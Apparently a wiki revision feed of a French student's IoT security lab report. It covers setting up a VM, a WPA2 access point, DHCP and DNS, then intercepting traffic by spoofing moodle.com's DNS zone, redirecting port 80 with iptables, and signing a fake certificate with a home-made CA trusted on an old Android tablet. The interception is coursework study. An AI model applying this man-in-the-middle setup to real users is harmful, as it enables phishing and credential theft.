= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui emet des signaux electriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
[[Fichier:Poid sur app nedis.png|vignette]]&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Poid_sur_app_nedis.png&amp;diff=10851</id>
		<title>Fichier:Poid sur app nedis.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Poid_sur_app_nedis.png&amp;diff=10851"/>
		<updated>2025-11-18T14:10:09Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10850</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10850"/>
		<updated>2025-11-18T14:07:48Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui emet des signaux electriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pesera&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10849</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10849"/>
		<updated>2025-11-18T13:32:04Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Machine android (06/10) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
